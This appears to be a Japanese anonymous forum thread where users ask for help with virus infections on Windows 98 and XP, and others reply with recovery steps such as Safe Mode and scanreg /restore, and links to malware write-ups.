初期化をしようとしても準備ができてませんってひょうじされます
感染ウイルスはわからないです
買い換えろってことなんですかね。初期化できない手ごわいウイルスは初めてでつらいです＞＜

起動ができません
一応windows98の画面まではいくのですが・・・
初期化をしようとしても準備ができてませんってひょうじされます
感染ウイルスはわからないです
買い換えろってことなんですかね。初期化できない手ごわいウイルスは初めてでつらいです＞＜

Trojan:Win32/Malatが、出現した場合の対処法について教えて下さい。
くぐれば、ｾｷｭﾘﾃィｴｯｾﾝｼｬﾙに問い合わせと書いていますが、それ以外に
対処法は無いでしょうか？

>656
俺もWindows98使ってるけど、この方法でも駄目？

起動
↓
F8キー連打
↓
Start Up Menu が表示されたら5のCommand Prompt Olryを選ぶ
↓
c:>という表示が出たら
scanreg /restoreと入力してEnterキーを押す
↓
正常に起動できてる日付を選ぶ
↓
再起動（exitと入力してEnterを押すorCtrl+Alt+Deleteキーを押す）

駄目なら買い替えですね。
何故ならWindows98はMicrosoftUpdateができない、対応してるセキュリティソフトもほとんど無い、
などセキュリティ的にリスクを伴います。
それに、買い換えたら今より快適になりますよ。

>>659
(´∀｀)ﾉ
横レスすまそ。
scanreg /restoreすると一番古いファイルとrestoreしたときに作られるファイルが
置き換えられるからrestoreするまえにファイルコピーしておいたほうがよくないかな。と言ってみる

セーフモードで起動できたらの話ね

>>659さん、>>660さん、原因がわかりましたｗ
ウイルスソフトでした(汗

セーフモードで起動してアドミでログインしてウイルスソフトをアンインストールしたら
きちんと起動してくれました＞＜
F8の存在を知れて勉強になりました。あざした＞＜

【使用OS】　Win XP
【使用セキュリティソフトとバージョン】　Avira のフリー
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　最新

XP/PDF.Jeka.B をWebサーフィン中に検出し一応ブロックしました
ｊａｖａが起動してエラー動作して終了しました　エラー内容を記録し損ねました
ウィルス名　Jeka.B　のみでググっても有益な情報が無いのでもしわかる方がいらっしゃいましたらお願いします。

>>663
XP/PDF.Jeka.BではなくEXP/PDF.Jeka.Bじゃね？
Jeka.Bでぐぐったらウイルストータルがみつかる。
ttp://www.virustotal.com/file-scan/report.html?id=3fddafc4636c5e4216cf1bd6c65ca1882c29958e6174b2a580242ff12a576ad7-1295727206
ウイルストータルからTrojan.Pidiefでぐぐるとこれがみつかる。
ttp://www.symantec.com/ja/jp/security_response/writeup.jsp?docid=2009-121708-1022-99
EXP/PDF.Jeka.Bの名前の一部PDFと「Trojan.Pidief」の説明内容で問題ないと推測。
Adobe ReaderやAdobe Acrobatのアップデートをしていれば問題ないと思われる。
（フリー使っているヒトなら特に）これからはこの程度は調べようよ。

姉に頼まれてPCが動きづらくなった原因を探していました（私は多少いじれる程度）
sweetIMというツールがいつの間にかインストールされていたようなのですが、
調べてみたらどうやらウィルスらしいのがわかったので直ぐさまアンインストールし、
残ったフォルダも消しました
しかし完全に消すにはレジストリもいじらなきゃいけないみたいなのですが
正直人のPCなのでレジストリをいじるのは怖いです…

何か他に手はないでしょうか？

クリーンインストール

何か目立った症状が無いなら気にしない

>>666
さすがにそれをやる訳には…

>>667
今んとこ目に見えるもので、IEが強制終了されたりDocument and settingsのフォルダにアクセス出来なかったりします
あとは動作が遅くなったりファイルが文字化けしてしまったり…
一応ﾉｰﾄﾝでフルスキャンしておきましたが、
レジストリには残ってます

やっぱりレジストリをいじるしか無いんでしょうか…？